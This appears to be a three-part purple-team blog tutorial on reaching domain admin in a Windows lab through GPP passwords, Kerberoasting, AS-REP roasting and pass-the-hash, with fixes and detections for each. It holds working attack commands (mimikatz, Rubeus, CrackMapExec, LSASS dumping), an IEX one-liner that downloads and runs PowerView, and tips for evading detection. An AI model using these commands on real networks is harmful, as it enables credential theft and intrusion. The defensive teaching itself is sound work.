As this series is a three part and dives into how to get domain admin in a windows estate using different techniques I found it useful to link them altogether in one flowing post, yes it is a straight pull of the other posts into one continuous post but it will enable the reader to follow along at their own pace in a monster post!
In addition Neil lines and I did a talk on this at steelcon in 2022.
Part 1 - Group Policy Preferences Passwords
While most of us in the world of offensive security love getting domain administrator (DA) when doing assessments. How many of you know how the issue occurs, how to defend against it and how to properly remediate it? Well this blog series is for you; the plan is to look at each of these five common techniques take a deep dive into each look at creating the vulnerability, then exploit it, add some defence in there for detection and response then finally pair that with resolving said issues!
The primary objective of most internal engagements is to prove access and sometimes leverage this access for further gains. At times it can be a challenging path based on the environment setup thus these next techniques are worth looking for to help you emulate an attacker. The techniques are:
· Passwords in SYSVOL also known as GPP Passwords
· Kerberoasting/ASREP Roasting
· Golden Ticket/Pass the hash/Pass the ticket
· LLMNR Spoofing
· Passwords inside files
While this isn’t a definitive list of the ways to domain admin, they are sometimes the most common paths. Not all will be present in an engagement, but they are chained often!
So with all of these attacks in this series the plan is to discuss how the issue is introduced into an environment, showing you how to recreate it and explain why it is an issue. Then move onto attacking it then defending/fixing it.
The lab setup for this environment will consist of:
- STREAM-DC = Windows Server 2008 R2
- WS04 = Windows 7 Enterprise
If you're unsure where to start when it comes to building a lab, check out my friend myexploit2600's blog post about it.
Passwords in SYSVOL
A well documented flaw in the way Group Policy Preferences works can enable access to local administrator and other distributed accounts. This is a feature of Windows Group Policy that can be used to create local users on machines, by design the Groups.xml will store the local administrator account user and password hash.
The password is AES 256 encrypted and then Base64 encoded before being added to the groups.xml file. However, Microsoft decided to publish the key required to decrypt this hash, meaning it is trivial to reveal any password stored in this file regardless of complexity.
The 32-byte AES key is as follows:
4e 99 06 e8 fc b6 6c c9 fa f4 93 10 62 0f fe e8 f4 96 e8 06 cc 05 79 90 20 9b 09 a4 33 b6 6c 1b
It's worth noting that as this issue affects Servers that are 2008 R2 and below, the baseline for the domain needs to support that otherwise it is likely that this issue has been patched(which is a good thing for defenders!).
Learn to build before you break
We'll come back to that key later on, first lets build the environment and show how the issue is introduced.
We will use Group Policy Preferences to set password on local user account, the steps below will enable you to introduce the same issue to test out.
On the domain controller navigate to :
Start – All programs – Administrative Tools – Group Policy Management.
- Create or Edit Group Policy Objects.
- Expand Computer Configuration – Preferences – Control Panel Settings.
- Right-click Local Users and Groups – New – Local User.
- Ensure the Action is Update and enter the new password as shown above in red.
Then navigate to an endpoint on the connected domain and run:
gpupdate /force from cmd or powershell.
By running this, the DC will force the update out to the workstations and thus apply the newly created password. Now enter the fun part where we get to exploit this issue!
Building is Cool.. but hax plz!
With all attack methods, there are often multiple ways to do them. Here I'll explain how the attack works then walk through how to perform in both windows and Linux. It is worth noting that both methods are likely to trigger endpoint detection and response solutions, while this post will touch on the defensive tactics that can be followed it should be understood and assumed there's no one fix for all.
There are multiple tools out there written in PowerShell to do this attack, my favorite is Get-GPPPassword which is included in PowerSploit. It needs to be run in the context of the domain therefore can be done in one of two ways, either via runas or via a domain connected machine:
In an instance where you don't have access to the domain via the methods described above but you have managed to gain a set of credentials, there is a metasploit module for enumerating GPP.
Simply set the RHOSTS, SMBDomain, SMBUser and SMBPass then run the module and it will fetch any XML files within the sysvol of the primary domain controller as shown below:
With all attack paths there are multiple other ways to do this, CrackMapExec also has a module called GPP_Password which will do this attack, it works similar to metasploit, however I've found it to be less reliable in lab environments when metasploit and powershell work as expected :D.
Defend & Fix
The defense and fix for this issue is fairly simple, there are two options to properly protect and monitor for the issue. The first primary fix would be to prevent this type of vulnerability happening in future, whereby to apply MS14-025 or Install KB2962486.
Now after applying this patch you will prevent future slip ups but to correct current ones the first thing to do is to delete the groups.xml file from SYSVOL. An easy command to find them is:
findstr /S /I cpassword \\<FQDN>\sysvol\<FQDN>\policies\*.xml
Replace <FQDN> with your domain, so in my case the command would be:
findstr /S /I cpassword \\purplehaze.offense\sysvol\purplehaze.offense\policies*.xml
Once you've found them you can delete to fix existing issues. From a defensive perspective, we can create a honeypot file whereby placing an empty Groups.xml file in the respective paths and changing the permissions to deny, then setup alerts within event viewer for failed attempts to access this file.
To change the permissions simply create Groups.xml then navigate to
properties -> Security -> Edit -> Add -> Everyone -> Check Names.
Then select deny access to all, this will deny access to the file and now when an attacker attempts to get access to the file they will be denied.
Once this is set, the file is now restricted, it's time to look at how to monitor logs for potential access denied against our newly created honey pot.
If following guides isn't for you I've also created a video that walks through building, hacking and fixing.
Replacing GPP with Deploying Local Administrator Password Management (LAPS)
Now a few of you may be wondering, if you can't deploy local admin via GPP 'how on earth am I meant to deploy my local admin accounts and manage them?!', well LAPS may be the solution for you.
Starting off we need to download the packages from Microsoft which can be downloaded from here
A lot of businesses will use the same local administrator password across the entire estate, which is a bad idea for lots of reasons. At a simple level, if this password is discovered, it allows anyone to install software as an administrator – at a higher level it facilitates further attacks on machines such as pass the hash(which I'll be covering in a later blog post), mimikatz(which can be used to extract passwords from memory) and general enumeration against your domain.
LAPS solution features include:
• Sets a unique randomly generated password PER machine which alleviates the issue that GPP Passwords creates
• Automatically change the Local Administrator Password every
• Password is protected in AD by AD ACL, so granular security model can be easily implemented
• Stores Local Administrator Passwords as an attribute of the Computer Object in Active Directory
• Password is protected during the transport via Kerberos encryption(more on this in a later post)
Right now we have a bit of background, onto the fun(ish) part, actually deploying it. Instead of re-inventing the wheel it's probably better to check out this guide for deployment which I've found to be extensive and a good guide to follow.
If you've found this post useful hopefully share it with others so they can learn to build break and fix the same issues.
Part 2 - Kerberoasting and ASRepRoasting
Welcome to part 2 of my paving the way to DA series, in this post I'll be covering both Kerberoasting and ASREP Roasting, taking a deeper dive into how they work, how to introduce them into an environment and how to fix them or where possible monitor and defend against them.
If you missed the first part of the series it can be found here, both are independent of each other but they are different ways of escalating your privileges on a network and each can be defended or fixed.
Also if you'd prefer to follow along with a video I streamed this earlier in the month:
Before we dive into all the fun stuff it is important to get a bit of background on the components that underpin the attacks discussed in this post. There are three main components that form kerberos authentication, the domain controller, target service and a client.
Essentially when a user from an endpoint(the client in this example) wants to access a specific service. The client requests an authentication ticket also known as a ticket-granting ticket (TGT) from the Key Distribution Centre (KDC).
- The KDC will verify the credentials and sends back an encrypted TGT and session key for the client to access a specific service.
- The TGT is encrypted using the Ticket Granting Service (TGS) secret key
- The TGT is stored by the client and, when it expires the local session manager will request another TGT (this happens in the background and is invisible to the user/client).
When the client needs to communicate with a service on another node (a "principal", in Kerberos parlance), the client sends the TGT to the TGS, which usually shares the same host as the KDC. Service must be registered at TGS with a Service Principal Name (SPN).
A SPN is a feature whereby a user can request a ticket from the domain controller to access a service on the domain, the domain controller replies with a ticket that is encrypted with the user for that service's hash.
- The client sends the current TGT to the TGS with the Service Principal Name (SPN) of the resource the client wants to access
- The KDC verifies the TGT of the user and that the user has access to the service
- TGS sends a valid session key for the service to the client
- Client forwards the session key to the service to prove the user has access, and the service grants access.
Kerberoasting works provided the target user has a non-null SPN property. We can take their kerberos hash and crack their password offline using something like john the ripper or hashcat.
While there is legitimate functionality to have SPNs implemented, where possible (and I'll dive more into this later on in the post) it is recommended to setup any service accounts with a long password and to use AES256 by default rather than RC4. However for the purposes of this lab example we're not going to select AES256, instead we are going to use RC4.
First we need to create the account within AD that is going to be our service account. This can be done with domain admin on any machine within the domain but is easiest from the domain controller. To do this, there are many ways however the easiest command would be:
net user zephr_adm password /add /domain
Once this is done we can add a SPN for the user with the following:
setspn -s smb/purplehaze.offense:445 zephr_adm
This will set a service principle name for the SMB service on port 445 for the zephr_adm user. As shown below:
In order to kerberoast there are two options, on domain and off/outside a domain. Starting off with the attack path from on domain(which is the most likely situation during an internal or phishing engagement).
There are three tools that can be used for performing on-domain kerberoasting, rubeus, sharproast and invoke-kerberoast. Yes there are other tools out there for sure but I'll be covering how to perform the attack with these three and how to crack the hash produced in hashcat in this post :-).
Rubeus is a C# toolset for interaction with kerberos and abuse of features, it is part of GhostPack and can be pulled from GitHub here. It can be compiled using visual studio community edition which can be downloaded here. Simply open the
.sln file in VS then select
This will build and drop the exe into the bin folder ready to use with command line or execute-assembly. For the purposes of this blog I'm going to demo use from an on-domain machine using the command line interface rather than via a command and control server (C2). However the execution method is identical anyway(there are multiple ways to compile it as a library and other things).
Once we've built Rubeus it is time to poll the domain controller for potential kerberos accounts that are kerberoastable on the domain, we can do this by launching Rubeus from a domain connected machine or within the context of a domain user.
At this stage it is worth noting that everytime this command is run the machine will retrieve ALL of the kerberos tickets for the domain, as a result this needs to be considered as they will also be cached.
Rubeus.exe kerberoast /format:hashcat
Additionally if the defensive team are smart they may implement honeyroasting with a domain account honey pot(more on this later on how to implement and track from a defensive perspective).
For the purposes of the demo we're going to go after the account we created
zephr_adm, therefore we'll grab the RC4 hash for this user using. This command requests only the RC4 version of the hash of the zephr_adm user and outputs it to hashcat format for easy cracking.
Rubeus.exe kerberoast /user:zephr_adm /format:hashcat /tgtdeleg
We'll take the hash and crack it with hashcat:
From the hash we can see it is
$23 which indicates that the hash we retrieved is RC4. Which hashcat should be able to make light work of.
.\hashcat64.exe -m 13100 ep.txt wordlist.txt
For those that have never used hashcat, essentially the command above is:
hashcat64.exe: Running hashcat64 binary on windows
-m 13100: This is telling hashcat what the hashtype is, this is called a mask. In this case we're instructing it to use Kerberos 5, etype 23, TGS-REP.
ep.txt: This is where the hash file is, this could be called anything but I've named the file
ep.txtas shown in the screen capture above.
wordlist.txt: This is a wordlist we're going to try the hash against to try and extract the cleartext password.
The password for the user was successfully retrieved which was found to be
14Carmex!. As the hash was RC4_HMAC it was easier to crack however if we were unable to retrieve a RC4 hash the other indicator would be
$18 which is an AES hash. Hashcat can still attempt to crack this however it will take longer due to the encryption algorithm in use.
Alongside rubeus there are a few other ways to extract hashes when on a domain connected machine, sharproast and invoke-kerberoast, they both work in a similar way as shown.
Rubeus younger brother and what the tool is based off of, SharpRoast (it's in the name) is a C# based toolset. It is now discontinued in favour of Rubeus however there may still be environments where it isn't detected vs Rubeus.
In order to use it, it also needs to be compiled in the same way as Rubeus. Once this is done the tool can be run as follows:
This command will request all of the SPNs for the domain and give back the hashes which can be sent to hashcat or john the ripper again. However for the purposes of this demo we're going to specify the account for ease of access:
Again this hash can be taken and cracked with hashcat, another way technique to do the same action.
Finally probably the most used for a while is the powershell implementation of this attack, while attackers are moving more and more away from powershell, there are still environments where it works effectively.
Invoke-Kerberoast is an old module that was written into powersploit and empire but adopted by many frameworks and toolchains since then. It is essentially a powershell script that does the same actions as Rubeus and sharproast.
It can be run simply from powershell:
This will drop out all of the hashes on the domain in the same format that we've had from Rubeus and SharpRoast.
Once again take the hash value and drop it into hashcat, there's a quick way of outputting this:
Invoke-Kerberoast -OutputFormat HashCat|Select-Object -ExpandProperty hash | out-file -Encoding ASCII kerberosHashes.txt
This will drop the hashes into an output file ready for cracking!
Operational Security Considerations
While attacks are useful to know about it is just as important to understand the operational security impacts (also known as opsec) when using tooling and techniques. Specifically if the target has implemented honeyroasting then there are one-liners that can allow you to operate under the radar such as:
Rubeus.exe kerberoast /pwdsetbefore:01-01-2017 /resultlimit:10
This will task Rubeus with requesting all SPNs with a password set before 1st Jan 2017 which is before the concept of honeyroasting was introduced therefore less likely to trigger alerts on that front!
Now we've looked at how to build and break the issue it is important to understand how to effectively monitor for usage on your network and identify similar attacks. There's a few ways of detecting usage, specifically kerberoasting can be detected using either detection based on kerberos requests or by implementing honeyroasting. Instead of re-inventing the wheel, check out this post on honeyroasting by my colleague Tim.
Create a custom event view to identify when a Kerberos service ticket is requested for our honeypot user account. This can be accomplished by using the following XPath query that contains our newly created account. If we do not do this step, in a large active directory environment there will be thousands of 4769 event logs and it will be difficult to identify malicious activity.
<QueryList> <Query Id="0" Path="Security"> <Select Path="Security">*[System[(Level=4 or Level=0) and (EventID=4769)]] and * [EventData[Data[@Name='ServiceName']='tkerb']]</Select> </Query> </QueryList>
A quick and easy one liner to create a honeyroast account can be done as shown, this will require RSAT Tools from Microsoft.
$UserPassword = ConvertTo-SecureString 'set a really long password in here for a user you want to have as a honeyroast account' -AsPlainText -Force
New-ADUser -Name "tgttest" -AccountPassword $UserPassword -ChangePasswordAtLogon $false -City "London" -Company "CompanyName" -Country "UK" -Enabled $true -Description "Account used for testing access to senstive content" -Department "Privileged Accounts" -DisplayName "tgttest" -SamAccountName "tgttest" -Path "OU=PrivilegedAccounts,dc=STREAM-DC,dc=purplehaze,dc=offense" -PasswordNeverExpires $true -AllowReversiblePasswordEncryption $true
Essentially this creates an account that looks very juicy to an attacker, however when kerberoasting is initiated and this account triggers it is a surefire way of identify nefarious activity on the network.
Additional recommendations from MITRE include are:
Enable Audit Kerberos Service Ticket Operations to log Kerberos TGS service ticket requests. Particularly investigate irregular patterns of activity (ex: accounts making numerous requests, Event ID 4769, within a small time frame, especially if they also request RC4 encryption [Type 0x17]).
In terms of actually fixing the issue there are a few key pieces of advice, where possible don't use RC4 if it can be helped. Use long passwords, or use password vaults for service accounts. Change your password policy to require 100+ character passwords that are randomly generated therefore less likely to be cracked.
Implement detections for anomalous service ticket requests, requires tracking state of all tgt ticket requests in a domain which is not a trivial task. Implement the use of honeypot accounts to alert for malicious activity.
Enable AES support(depends on base domain support 2008+ )
ASEPRoasting is similar to Kerberoasting in the same manner that the attack queries accounts for TGTs, grab the hash, then crack them using our favourite password cracking tool hashcat.
For the purposes of this example I'll be carrying out the attacks from an on-domain machine, there are lots of posts out there that dive into it from all angles but few that show the full process tart to finish.
The biggest difference and caveat with ASEPRoasting is that
Kerberos pre-authentication needs to be disabled. This is a rare setting and unlike kerberoasting it is not a default setting.
When you request a TGT, via a Kerberos AS-REQ message, you also supply a timestamp that is encrypted with your username and password.
The Key Distribution center (KDC) then decrypts the timestamp, verifies the request is coming from that user, then continues with the authentication process. This is the pre-authentication process for Kerberos, which is obviously a problem for an attacker because we aren’t the KDC and cannot decrypt that message. Of course, this is by design, to prevent attacks, however if pre-authentication is turned off, we can send an AS-REQ to any user which will return their hashed password in return.
Since pre-auth is enabled by default, it has to be manually turned off, so this is rare, however still worth mentioning as there is a viable attack here to retrieve hashes for users.
Again like kerberoasting ASREP can be attacked using Rubeus. To do so, the following command can be used:
This will query for find all accounts that do not require pre-authentication:
We can take this hash and crack it within hashcat using a different mask this time:
.\hashcat64.exe -m 18200 epqa.txt wordlist.txt
Lucky for us there's only one hashtype for asrep which makes cracking easier, to use the account there are many methods to replay the credentials such as winrm, smb, rdp and LDAP. I'll touch on these techniques in a later blog post to allow you to leverage the skills you have learned.
Again like kerberoasting there is a powershell counterpart to Rubeus which will enable you to extract hashes for asrep vulnerable users:
Invoke-ASREPRoast -Domain purplehaze.offense
Again this hash value can be taken and cracked with hashcat easily. The downside to the powershell implementation is that it is more likely to be caught by things like AMSI and other EDR monitoring, while Rubeus is supplied as a compile-it-yourself to evade simple signature based detection and able better customisation.
Defend & Fix
The primary fix for this issue is to uncheck the box that is checked, it is worth noting that this might not always be possible due to dependencies of third party plugins, therefore instead the same fixes can be applied such as long passwords and monitoring for potential alerts of ASREP accounts.
With AS-REP you see event IDs 4768 and 4625. This is because the user does not need to be pre authenticated, therefore an attacker doesn't need to know the password.
The primary difference between kerberoasting and asrep from a defensive perspective is
- Windows Security Logs, Kerberoast will contain Event ID’s 4768 and 4769, where in AS-REP contains Event ID’s 4768 and 4625. The biggest indicator to me that one was AS-REP vs Kerberoast was the Failed login attempt along with there was no service ticket requested.
- Kerberoast has AS-REQ/AS-REP AND TGS-REQ/TGS-REP. However AS-REP Roasting only uses AS-REQ/AS-REP. The key here is because Kerberoast is requesting a Service Account Authorisation Ticket, where AS-REP is only requesting a Kerberos Authentication Ticket.
Essentially both attacks can be carried out from an on-domain machine and can enable you to escalate privileges, as we've seen it is pretty easy to implement into an environment and there are many tools out there to carry out the attacks. The difficulty always falls onto the defensive and fix measures as there isn't really one fix for all, certainly in the case of Kerberoasting, therefore having a proactive blue team is the best solution and laying additional traps(in the form of honeyroasting) is a good approach.
The Detection for Kerberoasting is hard, as requesting for service tickets does happen a lot with legitimate purposes, however if you look for service request formatted in RC4, then this should flag more malicious or anomalous activity.
Part 3 - Pass the X Attacks
Continuing on from part two, where I talked all about kerberoasting and asrep roasting, how they are an issue and how to exploit and defend against them. Now enter the Pass the X attacks. Pass the hash, pass the ticket, and pass the credential. The likely moves for lateral traversal through a network. If you missed parts 1 and 2 they could be found here:
Pass the X attacks originate from having a piece of information, in this post examples this will be a hash and then leveraging them for lateral movement throughout a network. Most of these attacks can be carried out from a domain joined machine or an attacker machine on the network but outside the domain.
From an attacking perspective, the majority of the attacks are only leverageable once we have local admin rights on a system, for this purpose, sometimes leveraging Kerberoasting/ASREPRoasting or GPPassword attacks can get us the privileges required. It is worth noting that lateral movement is still possible without local admin but it depends on other misconfigurations in an environment.
This post won't dive into how to get local admin, rather it will focus on leveraging the rights to perform lateral movement via
However, as this post has grown arms and legs, I am going to do a separate post all about Kerberos & Over Pass, The Hash attacks to get you to domain admin, hoping to cover:
- Pass The Ticket
- Unconstrained Delegation
- Constrained Delegation
- Golden Tickets
- Silver Tickets
- Kerberos Trickery
Improving Defense Overall
Before diving into the main body of this blog post, there are a few features and sections I would recommend you as a defender enable if you do not already have it enabled.
To help gain visibility when PowerShell executes in an environment. PowerShell has gained a tremendous amount of popularity among attackers. Quite a few advanced persistent threat (APT) groups use similar frameworks to hinder attribution. At least version 5 of PowerShell is required to enable logging features. Enabling this provides PowerShell module logging, script block logging (input/output of commands) and automatic suspicious script detection. It also de-obfuscates encoded PowerShell commands.
Windows 7 includes PowerShell version 2 and Windows 10 includes version 5 but with logging disabled. A common attacking tactic is to downgrade PowerShell to bypass detection. To detect downgrade attacks, the “Windows PowerShell” classic event log has event ID 400. This is the “Engine Lifecycle” event and includes the Engine Version. Another solution is to remove PowerShell v2 with
Disable-WindowsOptionalFeature -Online -FeatureName MicrosoftWindowsPowerShellV2Root.
Process Execution is key for anything malicious infecting or running on your systems. Process Creation logging which has Event ID 4688 can be enabled via Group Policy. There is a lot of noise that this event generates therefore there is some filtering post-ingestion as it will capture everything being executed. Logging might capture command line passwords as submitted arguments and thus be available to attackers who are looking through the Event Logs.
This can be enabled by configuring the audit policy to audit both success and failure of creation of processes within local security policies. It can also be applied via group policy.
Pass The Hash(T1550.002)
Pass the hash (PtH) is a technique of authenticating to specific services as a user without having their clear-text password. It can prove very useful for moving throughout a network where the user's account may have a strong password but you as the attacker have gained access to their hash. If referring to MITRE ATT&CK PtH attacks carry the TTP of T1075 or a sub-technique of T1550.002.
In this technique, valid password hashes for the account being used are captured using a variety of methods, usually they are used to escalate privileges and move across the network. Often we can leverage local administrative privileges to gain access to more on systems. Captured hashes are used with PtH to authenticate as that user. Once authenticated, PtH may be used to perform actions on local or remote systems. This technique specifically can often be used to escalate from a limited user to local administrator or even in some cases domain admin.
Before we dive into the hardcore of the issue it is worth understanding some windows authentication basics. When a user logs into a system over a network and enters their username and password, the password is never sent in clear over the network, instead a hash is sent. Essentially these credentials are stored in NTLM format and managed by the Local Security Authority(LSASS.exe) on the machine which enables users to authenticate to other services on the network when authenticated to their system which acts like a single-sign-on(SSO) within windows.
The setup for this lab will be the following systems(you can do it with more but for demo purposes less is more):
- Windows Server 2012 R2 - Domain Controller
- Windows 7 Professional - Workstation/Attacker Host
- Windows 10 Pro - Second Workstation/Attacker host
As with a lot of these issues building them within a lab we are going to make the system intentionally insecure, to demonstrate the issue! First and foremost for PtH attacks to work SMB Signing will need to be disabled, which it is by default on Windows 7. Now some of you reading this may be thinking , but Windows 7 and 2k12 are old and therefore dated to lab on?! To those people, I say there are still hundreds of thousands maybe even millions of these systems in the wild!
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters" SMB1 -Type DWORD -Value 1 -Force
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters" EnableSecuritySignature -Type DWORD -Value 0 -Force
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters" RequireSecuritySignature -Type DWORD -Value 0 -Force
As well as disabling SMB signing we'll also be enabling remote login on our target host to enable PSExec and other nice nasty things. Additionally we'll be enabling cached credentials to allow for scraping of more hashes from memory.
Enabling reg keys for PSExec
REG add "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f
REG add "HKLM\SOFTWARE\Policies\Microsoft\WindowsFirewall\DomainProfile\Services\FileAndPrint" /v Enabled /t REG_DWORD /d 1 /f
REG add "HKLM\SOFTWARE\Policies\Microsoft\WindowsFirewall\DomainProfile\Services\FileAndPrint" /v RemoteAddresses /t REG_SZ /d "*" /f
REG add "HKLM\SOFTWARE\Policies\Microsoft\WindowsFirewall\StandardProfile\Services\FileAndPrint" /v Enabled /t REG_DWORD /d 1 /f
REG add "HKLM\SOFTWARE\Policies\Microsoft\WindowsFirewall\StandardProfile\Services\FileAndPrint" /v RemoteAddresses /t REG_SZ /d "*" /f
Enabling Cached Credentials
Finally we'll want to enable remote desktop protocol on our setup(if it is not already enabled), this can be done by leveraging PowerShell. The reason we're doing this is in most enterprise environments it is enabled for administration. As an attacker we can pass the hash to gain access to RDP.
Open PowerShell as an admin and run:
Set-ItemProperty -Path 'HKLM:\System\CurrentControlSet\Control\Terminal Server' -name "fDenyTSConnections" -value
Enable-NetFirewallRule -DisplayGroup "Remote Desktop"
Once all of these are added it's time to do some breaking, dumping and passing those hashes!
Finally to enable Pass-The-Hash (a NTLM hash) to create a Remote Desktop Connection to a Windows workstation or server we need to enable restricted admin mode(which does help in some situations to defend against other attacks!):
REG add "HKLM\System\CurrentControlSet\Control\Lsa" /v DisableRestrictedAdmin /t REG_DWORD /d 0 /f
This setting does not exist by default so will need to be created, the above command will do it.
Now that our lab is setup and wonderfully insecure, it's time to exploit some things! First thing is first we're going to grab the local admin password via GPPassword as described in Part-1. Once done we are going to leverage local administrator privileges on the machine to run MimiKatz to grab some hashes out of memory!
One thing to note, most EDR/AV/Defensive products will nuke MimiKatz out the box if it is dropped to disk, so usually in a lab I disable defender or add it as an exception. If we were to run this in a real live engagement typically load it reflectively into memory using process hollowing or other evasion techniques.
I'll be using mimikatz to demonstrate extracting the hashes from memory but there are lots of other techniques including using task manager to dump the lsass process and extract the hashes from the
Stage 1: Getting Hashes
With the admin account we'll drop into an admin PowerShell session, and run MimiKatz:
This will dump out the credentials running in memory as shown bellow:
We can also download and compile the binary then execute the following as a local admin on the endpoint:
mimikatz# privilege::debug mimikatz# sekurlsa::logonpasswords
As can be seen in both outputs it was possible to extract both the NTLM hash for the Administrator user which we can use in pass the hash and pass the credential type attacks.
We can also dump LSASS by using task manager and mimikatz in an offline attack whereby we dump the process and extract the passwords without interacting with LSASS (however this does involve touching disk with dropping the DMP file).
- Open Taskmgr.exe
- Navigate to details and locate lsass.exe
- Right click on LSASS and select create dump file, this will dump the memory of LSASS to a location within AppData:
If we navigate to this location there should be a lsass.DMP file:
Mimikatz will happily take the dmp file and enable us to read the data using:
Invoke-Mimikatz -Command '"sekurlsa::minidump C:\share\lsass.DMP" "sekurlsa::logonpasswords"'
If you're using MimiKatz.exe the commands on their own would be (where
C:\share\lsass.DMP is your path to the lsass.DMP file we created earlier):
mimikatz# sekurlsa::minidump C:\share\lsass.DMP mimikatz# sekurlsa::logonpasswords
What both commands are doing is loading the minidump tool that is built into MimiKatz and leveraging the logonpasswords command to extract the credentials the same way we did live earlier on in the post. This will give an output similar to that shown below:
From an attacking perspective, if leveraging the above technique be sure to delete the LSASS.dmp file once you've taken it off the machine or dropped the info out of the file.
Additional note for defenders, always check
C:\Users\<USERNAME>\AppData\Local\Temp\ for lsass.dmp or other .dmp files as attackers may forget to clean up after themselves, what this will enable you to do is identify if:
- a) The machine has been compromised.
- b) What users' passwords or hash were in memory and what other credentials may have been compromised in the attack.
Stage 2: Enumerating Access
Once we have a NTLM for a user the next logical step is to work out what access they have and where we want to move on the network. In order to do this we will need to leverage some tooling to see where the user has access and what is accessible from our current location on the network.
We can leverage tooling such as SharpView or PowerView to see where the user has privileges to login and what groups they are in on the domain (note this can also be done with the likes of net user but this only shows so much information).
Either can be loaded within a PowerShell session and both share similar methods, SharpView can be reflectively loaded via a C2 such as Covenant or Cobalt Strike which works well when doing adversary simulated attacks or red team assessments.
To load PowerView into PowerShell, the following command can be used as a one-liner(assuming the machine has internet access and is on the domain):
powershell.exe-exec Bypass -noexit -C "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1')"
The command above downloads PowerView from PowerSploit repository and imports it into the current session, note this can be run from any user and does not require local admin to do. It will trip Antimalware Scan Interface (AMSI) on Windows 10 hosts though so be aware (that's where the likes of AMSI bypasses and C# can come into play).
Get-DomainUser -Identity Administrator | Select-Object memberof | Ft -autosize -wrap
The above will list out the groups that the Administrator user is a member of, it will also wrap the output so we can see it all rather than it be truncated by PowerShell.
In this particular case we've struck the jackpot as this Administrator user is both a Domain Admin and an Enterprise Admin (meaning hopefully we can authenticate to the Domain Controller). However to confirm we can leverage the
Find-DomainUserLocation function built into PowerView, to find where the user has sessions:
Find-DomainUserLocation -UserIdentity Administrator
This function of PowerView will enumerate all of the machines within the current domain then query the domain for users of a specific group, using this information it'll leverage the domain group members and combine this with net session to find any machines that our target user is authenticated to. The found user list is compared against the target list, and any matches are displayed.
From running this we can see our target user is authenticated to DC1.purplehaze.defense and also WS03.purplehaze.defense, as we have their NTLM hash we can leverage this in the lateral movement stage below.
Similar to PowerView, SharpView has a lot of the functions built in, and they can be executed in a similar way, if being executed directly on the machine simply .\SharpView or if being executed via Cobalt Strike(I won't be covering this in this blog post) simply prepend the command with execute-assembly (within Cobalt Strike).
SharpView.exe Get-DomainUser -Identity Administrator
Find-DomainUserLocation function can be leveraged by using the following:
SharpView.exe Find-DomainUserLocation -UserIdentity Administrator
Again we can see the user has a session on WS03 and DC1, this information combined with lateral movement will enable us to traverse the network.
Leveraging Bloodhound will also enable you to see where certain users have paths to other machines on the network as it uses PowerView/SharpView under the hood. I've written in the past on how to setup Bloodhound and how it works, you can find the post here.
Stage 3: Lateral Movement
Once we have worked out where the target user has access to login, we can target methods of lateral movement that leverage the use of pass the hash, these include but are not limited to:
- psexec/smb exec
- remote desktop protocol(RDP)
Now we have the information about the user, where they're logged in and what level of access they have it is time to pass that hash and access the machines they have access to. I'm going to demonstrate this with MimiKatz, CrackMapExec(SMB Exec) and RDP.
MimiKatz Pass The Hash
As we've already used MimiKatz, leveraging pass the hash type attacks are fairly straight forward. Simply using the
sekurlsa::pth /user:PH\Administrator /ntlm:HASH /domain:purplehaze.defense /run:powershell.exe
The command should spawn a new
powershell.exe process with the credentials of the user we’re trying to impersonate.
We can now access other resources on the network with:
pushd \\DC1.purplehaze.defense\C$ dir
Which will drop us into the network location and enable us to list the directory of
C$ on the domain controller:
Switching over to our Kali machine for the next few attacks, the first is leveraging CrackMapExec. Which will enable us to pass the hash to do a lot of different attack types!
I am not going to dive into how to deploy and install crackmap, however it is explained really well on the github page. Once it is installled it can be executed using
cme smb 10.10.100.1/24 -u Administrator -H HASHVALUE
The above command will take the hash that we found earlier and enable you to spray a single IP or range of IPs with the username and password. CME will return Pwned! if the user has local admin on the machine/IP. Here's an example of execution against 10.10.100.1/24:
The screenshot shows we have local admin on 3 out of the 4 machines discovered, the 4th where we do not have access does not have a trust relationship with the rest of the domain thus is unable to authenticate us. CME enables lots of different attacks but for a quick proof of concept I'm going to use the
-X "hostname;dir" for executing the hostname followed by dir command on the remote systems.
The final attack I am going to demonstrate is RDP via Pass The Hash (now this is only possible if restricted admin is enabled on the remote host). There are two ways to do this, the first is by leveraging MimiKatz in the same way we did with powershell, except this time replace powershell.exe with
sekurlsa::pth /user:PH\Administrator /ntlm:HASH /domain:purplehaze.defense /run:"mstsc.exe /restrictedadmin"
If the attack has been successful we can authenticate to the remote host without prompt for a password:
Similarly this attack can be done on Linux using xFreeRDP:
xfreerdp /v:HOST /u:PH\Administrator /pth:HASH
Just like that we're into our RDP session on the DC via PTH!
There are a lot of things we can do to the system to harden it and fix it effectively and prevent pass the hash type attacks. As there are three stages to this attack there are three stages of fixes too, which I recommend you apply to harden your system(s):
- Stage 1 - Defending Against Mimikatz
- Stage 2 - Monitoring for SharpView/PowerView usage
- Stage 3 - Monitoring and preventing PtH lateral Movement
The first fix I am going to demonstrate is how to harden a system to prevent MimiKatz from running. This on its own will largely help harden the system from pass the hash and pass the credential attacks, therefore the fix and defense are going to be similar.
Disable Debug Rights on All Endpoints
Mimikatz requires this privilege as it interacts with processes such as LSASS. It is therefore important to set this privilege only to the specific group of people that will need this permission and remove it from the local Administrators. The
SeDebugPrivilege can be disabled by defining the policy to contain no users or groups.
The debug privilege determines which users can attach a debugger to any process or to the kernel. By default, this privilege is given to local administrators. However, it is highly unlikely that a local administrator will need this privilege unless they do frequent actions involving debuggers, some developers may require this setting. To disable it, the following settings within group policy can be disabled:
Computer Configuration > Policies > Windows Settings > Security Settings > Local Policies> User Rights Assignment > Debug Programs
Simply remove Administrators:
When the new policy is applied across the domain an attacker that has managed to escalate their privileges to local administrator, they will not be able to leverage this permission. MimiKatz will respond with the following message:
Disable WDigest on All Endpoints
WDigest protocol was introduced in Windows XP and was designed to be used with HTTP Protocol for authentication. Microsoft has this protocol enabled by default in multiple versions of Windows from XP up to Server 2012/Windows 8. The protocol causes clear text credentials to be stored in Local Security Authority Subsystem Service (LSASS). From Windows Server 2012 R2 this is disabled by default however on operating systems prior to 2012 R2 it needs to be disabled via the registry, again this can be achieved via a group policy object.
UseLogonCredential registry keys values should be set to
0 to completely disable this protocol.
